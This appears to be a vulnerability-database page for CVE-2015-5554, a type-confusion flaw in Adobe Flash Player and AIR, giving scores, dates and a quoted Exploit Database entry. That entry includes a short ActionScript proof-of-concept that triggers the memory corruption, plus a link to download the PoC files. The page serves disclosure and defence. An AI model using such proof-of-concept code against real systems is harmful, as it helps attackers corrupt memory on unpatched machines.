CVE-2015-5554 Detail

CVE-2015-5554

EPSS

46.32%V3

Vector

Network

Published

2015-08-13
23h00 +00:00

Modified

2018-01-04
18h57 +00:00

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CVE Descriptions

Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allow attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-5555, CVE-2015-5558, and CVE-2015-5562.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 37876

Publication date : 2015-08-18 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id This issue is a variant of issue 192 , which the fix did not address. If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection. A PoC is as follows: class subsocket extends flash.display.BitmapData{ public function subsocket(){ var n = {valueOf : func}; this.valueOf = func; var x = new XMLSocket(); x.connect.call(this, "127.0.0.1", this); } function func(){ if(this){ } this.__proto__ = {}; this.__proto__.__constructor__ = flash.display.BitmapData; super(10, 10, true, 10); return 80; } } A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37876.zip